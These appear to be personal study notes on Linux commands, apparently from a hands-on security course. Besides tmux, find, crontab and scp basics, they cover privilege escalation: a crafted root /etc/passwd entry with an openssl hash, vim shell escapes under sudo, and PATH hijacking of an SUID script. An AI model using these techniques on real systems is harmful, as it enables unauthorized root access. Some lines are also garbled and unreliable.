Linux Commands
Linux Commands
TMUX
? show the list of commands
tmux --- new session without a custom name
All commands with ctrl+B
D - detach sessions
sessions --- windows ---- panes
% new pane vertical
" new pane horizontal
X kill pane
tmux ls -- list sessions
ctrl+<arrows> resize pane
<arrows> move from panes
C --- create window
ctrl+ b 0-9 set windows
[ --- copy mode
-perm -mode
All of the permission bits mode are set for the file. Symbolic modes
are accepted in this form, and this is usually the way in which you would want to
use them. You must specify `u', `g' or
`o' if you use a symbolic mode.
-perm /mode
Any of the permission bits mode are set for the file. Symbolic
modes are accepted in this form. You must specify `u', `g' or `o' if you use a
symbolic mode. See the EXAMPLES section for
some illustrative examples. If no permission bits in mode are set,
this test matches any file (the idea here is to be consistent with the behaviour of
-perm -000).
Operators join together the other items within the expression. They include for
example -o (meaning logical OR) and -a (meaning logical AND).
\(...\) -- expression inside this syntax
openssl passwd [-help] [-crypt] [-1] [-apr1] [-salt string] [-in file] [-stdin] [-
noverify] [-quiet] [-table] {password}
openssl passwd -1 -salt new 123 -- $1$new$p7ptkEKU1HnaHpRtzNizS1
user:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
ESCAPE VI
check sudo -l which user can run which commands as root
enter : to start entering in vim
:!sh to call shell
:!/bin/bash to call /bin/bash
https://gtfobins.github.io/
CRONTAB
MIN What minute to execute at
HOUR What hour to execute at
DOM What day of the month to execute at
MON What month of the year to execute at
DOW What day of the week to execute at
CMD The actual command that will be executed.
0 *12 * * * cp -R /home/cmnatic/Documents /var/backups/
crontab -e -- edit crontabs
PATH VARIABLE
run script it points to ls- to change this script we create a fine in tmp with name
ls contaning /bin/bash --- script file SUID root
now export PATH=/tmp:$PATH --- now everytime ls is run from script it will open
bash as root
real ls path /bin/lsn
SCP:
scp important.txt [email protected]:/home/ubuntu/transferred.txt --- local to
remote
scp [email protected]:/home/ubuntu/documents.txt notes.txt --- remote to
local